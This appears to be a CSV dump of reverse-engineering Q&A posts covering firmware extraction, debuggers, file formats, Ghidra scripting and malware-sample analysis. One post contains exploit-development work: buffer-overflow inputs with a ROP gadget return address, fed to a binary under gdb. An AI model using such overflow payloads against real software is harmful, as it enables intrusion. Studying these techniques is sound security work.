+0             0x0             StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+7816          0x1E88          Unix path: /xmNYmKIgj983/C6LNZBDZZ1PBYuFljKA/udUZWq/xcRk/b2qkMdFFFun24p1yfXj8HH6o+7BTY+yiuqS2wmFGQcyGnUNDejvqTCNY4RWSxwzgHMnxypHYN6dHtRo+Qy
+
+
+Scan Time:     2019-10-20 22:13:14
+Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/5124.sit
+MD5 Checksum:  bdc1b18e4bcb42bc731245fcfa27b761
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             StuffIt Deluxe Segment (data): fC+p1/WeN+x6czuMKj/2G97vs7bIlzF9t82VVYQdsBVEperQb/356B5eTU4a1S7KhOJMYkGX0UIgBnWVoOiawdyqh+jIXg4yBi3qEy0TAzdhx/RwATTujWRGgu6qUPDX
+5713          0x1651          Unix path: /AaIPd2yffa51zhvtrCbPfME/OwaB1UKFGtwC1VfCX/Bnz9PIOoW/Vlt/OuyUxJb2m8IdFNi0ltwJlJjD6brZvSnSVKCGztof2phz4ECcojhBc7SFMc0IBaTq4+VCrJF
+42905         0xA799          Unix path: /AX5BC/lwR/velbnL9Z26N8WkNPRKvRO9U6/Yeim7oVvEVZssaKxYSrcDXs1EswWwxG/q47kDI8f2QpdO82ijIuW6KrNWyrC7mFSTMGxdTkE77D/IFVwXMUhDG5DdaVd
+524224        0x7FFC0         StuffIt Deluxe Segment (data): f1KJONum4Fp1JGYhMLa6U6dznBT9ORW23cOYJZnU7ijq+AwegqRxK9Von+ry5p35p6LZBShghnv8RjszI+TzBZ17KvvMN+Qj5may1mfVTQR96rur5jzYLQ5pDngg+qRq
+680480        0xA6220         StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH
+1052302       0x100E8E        Unix path: /diG/xwJS/rWqa4AL8ELFEfEhzsibv8h/qT9TXPHnMRgrYbXYbOHkUA5JUwilEpCy5tsSS4LU69URyqwMw4CrUlCgzLh4dpOvHnJDIBRHWPXCweEw8dZAeu99U7KlmjK
+1061344       0x1031E0        StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV
+1092133       0x10AA25        StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5
+1204080       0x125F70        StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+
+
+Scan Time:     2019-10-20 22:13:14
+Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/850E4.sit
+MD5 Checksum:  4470f1b474f55b2c49e0dd40533ec13b
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             StuffIt Deluxe Segment (data): f1KJONum4Fp1JGYhMLa6U6dznBT9ORW23cOYJZnU7ijq+AwegqRxK9Von+ry5p35p6LZBShghnv8RjszI+TzBZ17KvvMN+Qj5may1mfVTQR96rur5jzYLQ5pDngg+qRq
+1429          0x595           Unix path: /YfDEvlo895/XIm8sDYIw8ZWQv/D1TF/uECwt/3mOgdKx/fVzbq3mNxVsLU4qRb3HAEbQa7NVLjv3yVdNmT0qaDnxw2V0FaK/CkbfZGTXogLx64h8UqCpqOd9zxnyJ+G
+156256        0x26260         StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH
+537120        0x83220         StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV
+567909        0x8AA65         StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5
+679856        0xA5FB0         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+
+
+Scan Time:     2019-10-20 22:13:14
+Target File:   /Users/user/Downloads/yuneec/_autopilot.yuneec.bin.extracted/AB344.sit
+MD5 Checksum:  8047755915c77c23f72cefe7a31a77bf
+Signatures:    344
+
+DECIMAL       HEXADECIMAL     DESCRIPTION
+--------------------------------------------------------------------------------
+0             0x0             StuffIt Deluxe Segment (data): fa/4N9fZZBH9/RjZN2xQsGR2SYhibs+pJAjQYrytk/gsWWv9771tt8c/VLs703HuQSUQU7/9jHQEybWaK3sCf1olsktUNZv52TsSKZD1OlYB0hGlSeLX9QkWS+5FjMEH
+2763          0xACB           Unix path: /BiAgZQCJRb8x/JUIyQOuzHXLWBM/xk/6UNRj2qPbl3wmnJD8duNt3neZ1iPLIptCVW4lcj7/fAKkQQOPeRrMpnscX4yRK4jhBhfO7hbNAgQDS9lokF5ExXUoV2Jo5Bs
+380864        0x5CFC0         StuffIt Deluxe Segment (data): fZcxfqH1QZ33Q+quNuNMPYZg9qJ/3M3SOGhOldNjDJcoyRvRqtBiAslAjG7AYP86RgvYpN5kXMeIVFxPE3akTeGUi/GFI1gHoc4PpMaEpOPYkj1ZbQQic2MqHRyiFGtV
+411653        0x64805         StuffIt Deluxe Segment (data): fDRqiWlK6s45pRAmUYiAov0FWabq1Cvi5KUKBzSs8++MSIkrCv9/El3vtXoVbwZU0TYYqruo7MTnxgWmtyXDx/M6ybK8LWJjNbZgLXnfOwM6KcCLusn2kfHBh5aAUuQ5
+523600        0x7FD50         StuffIt Deluxe Segment (data): fKVRaEDl88MUJZtOWVcMKNwBddGnczIsiNCoTZtmUYQBJXOExRD2NNAcFxqu1HoKASp5DzFqFNXWP37DJOMrejjQezP7jh7YeYuWOOuiqd/tthn6Gtb2SrxwLuUeCwnU
+
+ +The issue is, that as I look at these files, it looks like they don't match the hexdump, so they might be misalign. Also you can see the repetitive in the files extracted. + +Can someone point me in the right direction, I'm not having much luck extracting these files. +" +"['serial-communication', 'crc']"," Title: Checksum of an old serial devicesBody: I've got an old devices which communicate through serial port. There's main device which send simple commands and then asked device responds. I've got almost all sorted out. The only thing left is the checksum. I've spend so much time on this but no idea pops out. Messages may vary in length, there's no length byte. Last byte is checksum I believe. Here's the data sample: + +
E1-7E-00-00-03
+E1-7E-00-01-92
+E1-E2-FE-00-00-D5
+E1-E2-FE-00-01-44
+E1-7D-00-00-B2
+E1-7D-00-01-23
+E1-E2-FD-00-00-64
+E1-E2-FD-00-01-F5
+E1-7C-00-00-62
+E1-7C-00-01-F3
+E1-E2-FC-00-00-B4
+E1-E2-FC-00-01-25
+E1-7B-00-00-11
+E1-7B-00-01-80
+E1-E2-FB-00-00-C7
+E1-E2-FB-00-01-56
+E1-7A-00-00-C1
+E1-7A-00-01-50
+E1-E2-FA-00-00-17
+E1-E2-FA-00-01-86
+E1-79-00-00-70
+E1-79-00-01-E3-F1
+E1-E2-F9-00-00-A6
+E1-E2-F9-00-01-37
+E1-78-00-00-0D-39-CB
+E1-78-00-01-31
+E1-E2-F8-00-00-76
+E1-F8-00-01-E7
+E1-77-00-01-07
+E1-E2-F7-00-01-D1
+E1-77-00-00-96
+E1-E2-F7-00-00-40
+
+ +E1 and E2 have no impact on checksum, cause I saw things like E1-E2-FE-38 and E1-FE-38. 7E, FE and so on are devices id. 7x is main device data and Fx is device response. +Thanks in advance. +" +"['x64dbg', 'x86-64']"," Title: cannot find a string in x64dbg even when using search all stringsBody: I am trying to debug a program for testing but for some reason i can NOT find any strings related to registeration like Registered, Unregistered,Blocked in x64dbg, i can see all these strings in the interface of the program but not in the X64dbg, although i have already tried search ALL strings, what am i missing? +" +"['ida', 'binary-analysis']"," Title: How can I determine a module to which function is related with IDA ProBody: For example I have a function sub_7FFA95D8F120. I've checked out Views->Segments which shows .text segment. It seems that I am missing out something important. It would be great if someone explained or gave a link to explanation. +" +"['obfuscation', '.net', 'c#', 'instrumentation']"," Title: Trace Method Calls in .NET/C# BinaryBody: I have a heavily obfuscated Windows service binary. Fields, types and methods are renamed. While it is possible to decompile the binary using dnSpy, it is still very cumbersome to identify important/interesting locations statically. + +Is it possible to dynamically instrument the binary in order to gain a deeper understanding of certain execution paths? I don't know a lot about CLR internals but my understanding is that instrumentation is not easily possible because of JIT compilation of IL instructions. + +If anybody has suggestions for tracing execution paths in the binary, I'd highly appreciate your input. Additionally, if anybody has seen a similar obfuscation scheme before, please let me know: + + + +Edit: The sample can be downloaded from: https://gofile.io/?c=qrNky4 (not malicious; part of a VPN software) +" +"['ollydbg', 'x64dbg']"," Title: Detailed API call descriptions not available in x64dbgBody: I am following a RE tutorial, and the guy is using Ollydbg while I use x64dbg... and I don't find all the descriptions in that Olly has, and it's quite annoying ! +There is an example from the two programs running the same Reverseme : + + + + +How can I enable the same detailed descriptions in x64dbg? Is it even possible? +" +"['ghidra', 'x86-64', 'intel']"," Title: How to interpret binary instruction using the intel manualBody: OK. So I am really trying to figure out how to use the ""Intel 64 and IA-32 Architectures Software Developer's Manual"" for myself, since it seems like the authoritative source for x86(_64) machine code. + +I am looking at a program in Ghidra (specifically, a dynamically linked .so file to the program I actually care about). File info for the .so file: + +
ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked
+
+ +I come to the following instruction in Ghidra: + +
ff 25 de ad be ef  --- deadbeef being a substitute for the real bytes.
+
+ +I have Ghidra set up so that I can right click on the instruction and go to the relevant page in the processor manual, which brings me to the JMP reference (p.590 in the version of the manual I have). Cool. + +From looking through the options there, I find the ff opcode rows that correspond to the instruction I am looking at. Further, I know that my ModR/M byte is 25H which corresponds to MOD = 00B, REG = 100B and R/M = 101B so I know that this narrows it down to the FF /4 rows in the JMP instruction description table. But how do I know if it is referring to JMP r/m16 or JMP r/m32 or JMP r/m64? Also what is the difference between those three? And further, I know from looking at tables 2-1 through 2-3 (combined with how Ghidra interprets the instruction) that de ad be ef actually ends up being a disp32 that gets added to the index. But how would I have known which table to reference in tables 2-1 to 2-3, and how does that information correspond to choosing between JMP r/m16 or JMP r/m32 or JMP r/m64? +" +"['bin-diffing', 'tool-bindiff']"," Title: Do I need to have IDA Pro to use the BinDiff tool?Body: I'm trying to learn how to use BinDiff tool, but I can't figure out how to open two binaries to do the comparison. While skimming through their manual, it seems like I need to have IDA Pro for that. + +Can I use BinDiff without IDA Pro (say, with just IDA free)? +" +"['binary-analysis', 'android', 'java']"," Title: Google Maps, Android serialisation formatBody: I've come across an SQLite database (gmm_storage.db) used by Google Maps on Android, and I'm unsure as to how the data it contains is serialised. For example: + + + +I'm saying serialised, as from the header 0xACED it appears to be a Java serialised object. However, as I have no idea what the serialised class actually looks like, I've been unable to deserialise it. + +I'm also not entirely sure it's standard Java serialisation, as I've tried a number of different tools, and Java itself, and all of them report that the stream is corrupt. + +You can see some references to standard Java classes, such as java/util/Set, but also a lot of smaller references to things like 'fic', or 'vot'. I'm guessing these are either obfuscated class names, or they are part of some kind of lookup/offset table. + +My other guess is that as it's a Google product, it's probably using a Google serialisation library, like GSON or protobuf, but the data doesn't look like either of those. + +Anyone come across this before, or can shine some light on it? +" +"['disassembly', 'python', 'ghidra']"," Title: Python Script to get disassembled output of an EXE fileBody: I'm pretty new to Ghidra, and looking to use it's API (headless analyzer) and get the assembled file through command line using python. + +Here is my code, which is likely far from the correct code. It gives error, and I am stuck. Would you please help? + +The command I am using to run the script is: + +
analyzeHeadless ~/Desktop/ghidra_9.1-BETA_DEV   DNETSamples.gpr -scriptPath ~/Desktop/ghidra_9.1-BETA_DEV  -postScript disassemble.py    -process -recursive
+
+ +And this is disassemble.py: + +
#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+
+from ghidra.util.task import ConsoleTaskMonitor
+from ghidra.app.cmd.disassemble import DisassembleCommand
+from ghidra.app.script import GhidraScript
+from  ghidra.program.model.address import AddressSet
+
+
+
+addset = AddressSet()
+addset.add(currentAddress)
+cmd = DisassembleCommand(addset, None, True)
+cmd.doDisassembly​(ConsoleTaskMonitor(), currentProgram, 0)
+
+ +The error is java.lang.IllegalArgumentException: Cannot create PyString with non-byte value: + +
INFO  SCRIPT: ghidra_9.1-BETA_DEV/ghidra_decomp.py (HeadlessAnalyzer)
+Exception in thread ""Python script execution thread"" java.lang.IllegalArgumentException: Cannot create PyString with non-byte value
+    at org.python.core.PyString.<init>(PyString.java:57)
+    at org.python.core.PyString.<init>(PyString.java:70)
+    at org.python.core.PyString.<init>(PyString.java:74)
+    at org.python.core.PySyntaxError.<init>(PySyntaxError.java:31)
+    at org.python.core.ParserFacade.fixParseError(ParserFacade.java:95)
+    at org.python.core.ParserFacade.parse(ParserFacade.java:190)
+    at org.python.core.Py.compile_flags(Py.java:2185)
+    at org.python.core.\__builtin__.execfile_flags(\__builtin__.java:527)
+    at org.python.util.PythonInterpreter.execfile(PythonInterpreter.java:286)
+    at ghidra.python.GhidraPythonInterpreter.execFile(GhidraPythonInterpreter.java:232)
+    at ghidra.python.PythonScriptExecutionThread.run(PythonScriptExecutionThread.java:51)
+
+" +['idapython']," Title: IDApython confused with get_32bit(ea) function behaviorBody: I am using some code like this + +
   import idaapi
+   print(idaapi.get_32bit(0x0055f4a0))
+
+ +it must return 32 bit of address as int + +but it returns 1408011093 +is it wrong conversion? +its length is less than the maximum length of int + +but it somehow changes the value +I expected to get return value like ‭5633184‬ +" +"['firmware', 'binwalk']"," Title: Problem with analyzing a JFFS2 FilesystemBody: I extracted the content of a NAND Flash and analyzed it with binwalk.
+Binwalk showed me that the dump contains a big endian JFFS2 filesystem. My next step was extracting the files into a directory. To do so I simply used binwalk. + +
+ binwalk -Me Dump +
+ +The problem is that binwalk usually creates an other directory that should contain all the folders and files of the filesystem and this is not working.
+Binwalk creates the directory but it is empty. I have Jefferson installed as well as everything that is important for it to work and I tried to do the same thing with an other Dump that I found in the internet and it worked without any problem. + +Later I found out that the byte order of my CPU is little endian. I don't know if that is causing the issue and to be honest I do not know if there is a way to change the byte order of the jffs2 file to try it out. Maybe someone knows more about that. + +An other thing that keeps bothering me is the fact that when I use the file command to check the jffs2 file it simply returns ""data"".
+Again I don't know if the endianness is causing this issue. What I can tell is when I checked the other dump that I found in the internet the jffs2 fs was in little endian and binwalk could create the directory with all the files and the file command also returned ""jffs2 little endian"" instead of just ""data"". + +Is it possible that the endianness is causing the issue and is there a way to change the byte order of the filesystem? +" +"['ida', 'disassembly', 'binary-analysis', 'malware', 'ghidra']"," Title: What is the difference between malware that is 'dumped' and one that is 'unpacked'?Body: On malware sharing communities, I have been noticing that the samples shared are marked as unpacked or dumped. I have tried to load the dumped malware in IDAFree, however, there is nothing in the imports table. The malware samples are usually marked as <hash>_dump_0x00980000 for instance. 0x00980000 seems like a memory address. But what does it mean for me trying to analyze it in IDA Free? Do I have to use that information somehow in IDA to load the sample correctly? + +What I know: I realize that most real-world malware are packed. I understand the motivation behind this obfuscation and I understand how it can either be automatically unpacked if we know which packer was used, or it can be manually unpacked by stepping through it in a debugger and dumping relevant memory sections. + +However, I do not understand how to analyze these ""dumped"" samples in IDA free. Most of the time, I see nothing in imports section and that makes the sample really hard to analyze. Is there a difference between unpacked and dumped that I should know about while loading it in IDA to see the actual imports section? +" +['decompress']," Title: How to interpret the final 0x03 0x00 in this minimal gzip sample?Body: I'm reading gzip format specification, trying to understand byte-to-byte the following minimal example (generated using echo -n | gzip > /tmp/a.gz): + +
00000000  1f 8b 08 00 70 3c b4 5d  00 03 03 00 00 00 00 00  |....p<.]........|
+00000010  00 00 00 00                                       |....|
+00000014
+
+ +I managed to map most of the bytes, but the ""03 00"" is something I cannot interpret. I wrote a Python script to fuzz different values for the ""03"" byte, but nothing other than that byte is allowed: + +
[15:13:05]>>> import subprocess
+[15:13:08]>>> results = {}                  
+[15:13:10]>>> for i in range(256): results[i] = subprocess.Popen(f'''echo '1f8b0800703cb45d0003{hex(i)[2:]:0>2}000000000000000000'  | xxd -r -p |  zcat''', shell=True, stderr=subprocess.PIPE).stderr.read()
+... 
+Pp0�` ��@�X▒�x8�h(�H�[15:13:25]>>> 
+[15:13:26]>>> results2 = {value: list(k for k in results if results[k] == value) for value in results.values()}
+[15:13:31]>>> results2
+{b'\ngzip: stdin: invalid compressed data--format violated\n': [0, 1, 2, 6, 7, 8, 9, 10, 14, 15, 16, 17, 18, 22, 23, 24, 25, 26, 30, 31, 32, 33, 34, 38, 39, 40, 41, 42, 46, 47, 48, 49, 50, 54, 55, 56, 57, 58, 62, 63, 64, 65, 66, 70, 71, 72, 73, 74, 78, 79, 80, 81, 82, 86, 87, 88, 89, 90, 94, 95, 96, 97, 98, 102, 103, 104, 105, 106, 110, 111, 112, 113, 114, 118, 119, 120, 121, 122, 126, 127, 128, 129, 130, 134, 135, 136, 137, 138, 142, 143, 144, 145, 146, 150, 151, 152, 153, 154, 158, 159, 160, 161, 162, 166, 167, 168, 169, 170, 174, 175, 176, 177, 178, 182, 183, 184, 185, 186, 190, 191, 192, 193, 194, 198, 199, 200, 201, 202, 206, 207, 208, 209, 210, 214, 215, 216, 217, 218, 222, 223, 224, 225, 226, 230, 231, 232, 233, 234, 238, 239, 240, 241, 242, 244, 245, 246, 247, 248, 249, 250, 252, 253, 254, 255], b'': [3], b'\ngzip: stdin: unexpected end of file\n': [4, 5, 11, 12, 13, 19, 20, 21, 27, 28, 29, 35, 36, 37, 43, 44, 45, 51, 52, 53, 59, 60, 61, 67, 68, 69, 75, 76, 77, 83, 84, 85, 91, 92, 93, 99, 100, 101, 107, 108, 109, 115, 116, 117, 123, 124, 125, 131, 132, 133, 139, 140, 141, 147, 148, 149, 155, 156, 157, 163, 164, 165, 171, 172, 173, 179, 180, 181, 187, 188, 189, 195, 196, 197, 203, 204, 205, 211, 212, 213, 219, 220, 221, 227, 228, 229, 235, 236, 237, 243, 251]}
+
+ +What's this 0x03 0x00 and where in the gzip (or DEFLATE) documentation can I find it? +" +['debuggers']," Title: Immunity Debuggger Inconsistent ResultsBody: Question for people using Immunity Debugger. + +Just started using Immunity Debugger, using 1.85 on Win 7 Pro. + +Doing some labs on vulnserver.exe and I am getting inconsistent results from Immunity Debugger. I will attach vulnserver.exe, select run in IB and execute a script to crash vulnserver to analyze the output. Detach & restart vulnserver.exe, then attach again and run the same script. I get two different results in the output. + +However, if I exit and restart Immunity Debugger between scripts, I get the correct output after running a script each time. + +Is this standard behavior for Immunity Debugger? You have to exit and restart between each debugging capture? + +I have re-installed IB twice and it continues to give these inconstant results. + +TIA +" +"['disassembly', 'assembly', 'ollydbg']"," Title: Entry point of a programBody: im new to assembly and reverse engineering, i have a question regarding to how the address work. +I examined the entry point of a program using varies PE tools, the result is 0x00043b33, but when i loaded the same program into ollydbg, the starting address is at 0x770B0D54. Another thing is i executed the program line by line, it somehow jump back to the entry point at 0x00043b33 and then go back to the address 0x770B0D54 later again. Can someone guide me on this? +" +"['firmware', 'memory']"," Title: Multiple memory regions mapped to same dataBody: I'm analyzing a Seagate HDD that provides a serial boot console that allows reading/writing bytes to memory and setting an address pointer. + +There's a block of memory from 0x0 to 0x20000 and then it repeats all the way to 0x100000. This isn't just a copy - if I write a byte to 0x20000 or 0x40000 the data at location 0x0 also changes. At 0x100000 there's another 128k block that is mirrored over and over until 0x200000. From 0x400000 the first block of memory is mirrored again and again. + +Here's a map: + +
1) 0x000000 - 0x020000
+*) (mirrors of block 1)
+2) 0x100000 - 0x120000
+*) (mirrors of block 2)
+3) 0x200000 - 0x300000
+4) 0x300000 - 0x400000
+*) (mirrors of block 1)
+
+ +The MCU is some kind of ARM processor. Is this some hardware memory-mapping feature of ARM, is it setup by the OS, or something else? +" +"['ida', 'x86', 'static-analysis']"," Title: Finding a mathematical calculation which uses Pi within binaryBody: Given a large (~14MB) binary compiled for a X86 64-bit system, what would be the basic steps to go through in order to find the usage of Pi (π) for calculation of a certain parameter (flag)? + +I'm rather new at this, and I've tried looking through strings to find different mathematical terms and numbers, and I've also gone over the Functions window, and found names such as _tan, _pow, _sqrt, _sin, etc., but no mention of Pi specifically. + +Can anyone recommend another way to approach this? +Unfortunately I cannot share the specific binary I am working on. +" +['radare2']," Title: Opening the test file in the Radare2 recording modeBody: I'm studying the radare2 utility (I installed it on Windows) and I wanted to edit the file with it. But an error constantly occurs: + +
[0x080486f5]> oo+
+r_core_file_reopen: Cannot reopen file: C:\Users\User\Desktop\crackme\megabeets_0x1 with perms 0x0006, attempting to open read-only.
+
+ +I don't understand what the matter is. +" +"['pe', 'windbg']"," Title: How to calculate the size of a PE from headers?Body: What I am trying to do is calculate the size of a PE through it's headers. I am using WinDbg's Javascripting and in this case, it will mostly be for drivers. The idea is to dump a driver from memory through WinDbg and I can do it by dumping the BaseAddress to BaseAddress+ImageSize. The ImageSize isn't really the actual size of it on disk and I would like it to be as similar as possible, almost like copy/pasting. + +I found this post: https://stackoverflow.com/questions/29587560/self-inspection-of-the-pe-format +I am able to get the full size on one driver, easily: + +
0: kd> !dh HEVD
+--snipped--
+SECTION HEADER #7
+  .reloc name
+      14 virtual size
+   8B000 virtual address
+     200 size of raw data
+    6E00 file pointer to raw data
+
+0: kd> ? 8b000 + 14
+Evaluate expression: 569364 = 00000000`0008b014
+0: kd> ? 6e00 + 200
+Evaluate expression: 28672 = 00000000`00007000
+
+ +The person mentioned that you should add the highest value for PointerToRawData against the SizeOfRawData, which is usually the last section. The size for this particular driver is 28,672 bytes but this doesn't always work for all drivers. + +Here's an example of where it doesn't work: + +
0: kd> !dh RTCore64
+--snipped--
+400 size of headers
+--snipped--
+SECTION HEADER #5
+    INIT name
+     258 virtual size
+    5000 virtual address
+     400 size of raw data
+    1600 file pointer to raw data
+       0 file pointer to relocation table
+       0 file pointer to line numbers
+       0 number of relocations
+       0 number of line numbers
+E2000020 flags
+         Code
+         Discardable
+         (no align specified)
+         Execute Read Write
+0: kd> ? 1600 + 400
+Evaluate expression: 6656 = 00000000`00001a00
+
+ +The file size for this particular driver is 16,384 bytes on disk and 14,024 bytes regular size. + +Then I found this post: https://stackoverflow.com/questions/34684660/how-to-determine-the-size-of-an-pe-executable-file-from-headers-and-or-footers +It was saying to add the size of headers against the SizeOfRawData for each section. That didn't work. + +
0: kd> ? 400 + c00 + 200 + 200 + 200 + 400
+Evaluate expression: 6656 = 00000000`00001a00
+
+ +I also tried this answer: https://stackoverflow.com/questions/8197134/how-do-i-determine-exact-pe-image-file-size-using-its-headers +Basically it was said to add the VirtualAddress against VirtualSize, but that doesn't work. It actually gives me a number that's higher than what the actual size is. + +
0: kd> ? 5000 + 258
+Evaluate expression: 21080 = 00000000`00005258
+
+ +I also tried with this post: https://stackoverflow.com/questions/8193862/the-size-of-a-pe-header +That also didn't work. There were other posts I looked at, but they all boil down to some variation of those. + +Can I get help on why I am unable to? I'm not sure what I'm missing. + +Thank you in advance + +Also, if you would recommend a better way of doing so, I'm all ears! +" +"['buffer-overflow', 'rop']"," Title: BufferOverflow - Cannot push a specific return address on the stackBody: I'm currently playing with buffer overflow and ROP-chains, and I'm facing a weird behavior that I don't know how to deal with. + +I don't know why, but i cannot correctly push the address of my first ROP gadget into the stack. + +With the specific binary that i am trying to exploit, I have to fill a 28 bytes buffer before overwriting the instruction pointer. + +If I do the following test, everything seems in order: + +
gdb-peda$ run < <(python -c 'print(""A""*28 + ""BBBB"")')
+[...]
+> Stopped reason: SIGSEGV
+> 0x42424242 in ?? ()
+
+ +My first gadget is at the address ""0x0806ee6b"". + +But when I try the following test, there is a difference between my input and what's pushed on the stack: + +
gdb-peda$ run < <(python -c 'print(""A""*28 + ""\x6b\xee\x06\x08"")')
+[...]
+> Stopped reason: SIGSEGV
+> 0x06aec36b in ?? ()
+
+ +If I take a look at the stack before the retn instruction that trigger the buffer-overflow, my little-indian formatted address is not the same anymore: + +
gdb-peda$ x/50x $esp
+0xffffdaec: 0x06aec36b  0x00000008  0x0804f02b  0x080da000
+
+ +If I try to push an arbitrary address, like ""0x08064141"", everything is ok: + +
gdb-peda$ run < <(python -c 'print(""A""*28 + ""\x41\x41\x06\x08"")')
+[...]
+gdb-peda$ x/50x $esp
+0xffffdaec: 0x08064141  0x00000000  0x0804f02b  0x080da000
+
+ +I tried with some twists, to see how it goes, but the result is still the same. The ""\xee"" is always translated into ""\xae\xc3"" when pushed on the stack. And that's the same for some other specific address. + +I really don't get it, I can push the address 0x08065e6b without any issue: + +
gdb-peda$ run < <(python -c 'print(""A""*28 + ""\x6b\x5e\x06\x08"")')
+[...]
+gdb-peda$ x/10x $esp
+0xffffdaec: 0x08065e6b  0x00000000  0x0804f02b  0x080da000
+
+ +But not the address 0x0806ee6b: + +
gdb-peda$ run < <(python -c 'print(""A""*28 + ""\x6b\xee\x06\x08"")')
+[...]
+gdb-peda$ x/10x $esp
+0xffffdaec: 0x06aec36b  0x00000008  0x0804f02b  0x080da000
+
+ +What am I missing here ? +" +['binary-analysis']," Title: What's the pattern in this sequence extracted from a LYR document, used by the ESRI ArcGISBody: I'm trying to reverse engineer a binary format, and I'm running up against a variable-length sequence of numbers which varies between files. I can't work out the pattern here and how to determine how long this sequence is. I'm 99% sure that the sequence is self-contained and isn't reliant on any information from the preceding parts of the file. + +An example (in hex) of the sequence is: + +
06 00 00 00    01 00 00 00    fd ff ff  ff     08 00 00 00    f7 ff ff ff     0e 00 00 00 
+
+ +To me, this looks like a sequence of little endian signed integers (i.e. 6, 1, -3, 8, -9, 14) + +Here's some sequences I've collected: + + + +Any ideas? + +Update: +As requested, some extra context: + + +" +"['binary-analysis', 'file-format', 'decompress']"," Title: Decode synth preset formats for massive (.nmsv) fm8 (.nfm8) and absynth (.nabs)Body: I'm trying to decode the file formats for Massive, FM8 and absynth VST synths. The file format is binary with several sections. Reason for this endeavour is to convert the above formats to general vst .fxp format for automated loading and rendering of presets through the vst api. + +From experimenting with saving the files when changing synth parameters I've found out following facts about the format: + + + +Could anyone help out here: + + + +Added an example file: + +http://s000.tinyupload.com/index.php?file_id=08960658549599455274 contains a sample file. The string ""TESTSTRING1"" and ""PREFIXTESTSTRING1SUFFIX"" are contained in the uncompressed stream. + +Shannon entropy is 5.84154 for the data chunk which is somewhere in the middle between english text and encrypted. + + + +Here is an example which should demonstrate how the lenght field is computed: +The string ""TESTSTRING123"" precedes the string ""PREFIX...SUFFIX"". + +
                             P  R  E  F  I  X  L1 L2 D     S  U  F  L1 D
+----------------------------------------------------------------------------------------
+PREFIXTESTSTRING123SUFFIX 05 50 52 45 46 49 58 E0 04 16 02 53 55 46 20 12 40 42 00
+PREFIXTESTSTRING12SUFFIX  05 50 52 45 46 49 58 E0 03 16 02 53 55 46 20 11 40 41 00
+PREFIXTESTSTRING1SUFFIX   05 50 52 45 46 49 58 E0 02 16 02 53 55 46 20 10 40 40 00 33 40
+PREFIXTESTSTRINGSUFFIX    05 50 52 45 46 49 58 E0 01 16 02 53 55 46 20 0F 40 3F 00 33 40
+PREFIXTESTSTRINSUFFIX     05 50 52 45 46 49 58 E0 00 16 02 53 55 46 20 0E 40 3E 00 33 40
+PREFIXTESTSTRISUFFIX      05 50 52 45 46 49 58 C0    16 02 53 55 46 20 0D 40 3D 00 33 40
+PREFIXTESTSTRSUFFIX       05 50 52 45 46 49 58 A0    16 02 53 55 46 20 0C 40 3C 00 33 40
+PREFIXTESTSTSUFFIX        05 50 52 45 46 49 58 80    16 02 53 55 46 20 0B 40 3B 00 33 40
+PREFIXTESTSSUFFIX         05 50 52 45 46 49 58 60    16 02 53 55 46 20 0A 40 3A 00 33 40
+PREFIXTESTSUFFIX          05 50 52 45 46 49 58 60    16 01    55 46 20 09 40 39 00 33 40 
+PREFIXTESSUFFIX           05 50 52 45 46 49 58 20    16 02 53 55 46 20 08 40 38 00 33 40
+PREFIXTESUFFIX            05 50 52 45 46 49 58 20    16 01    55 46 20 07 40 37 00 33 40 
+PREFIXTSUFFIX             09 50 52 45 46 49 58 54 53 55 46 20 06 40 36 00 33 40  
+
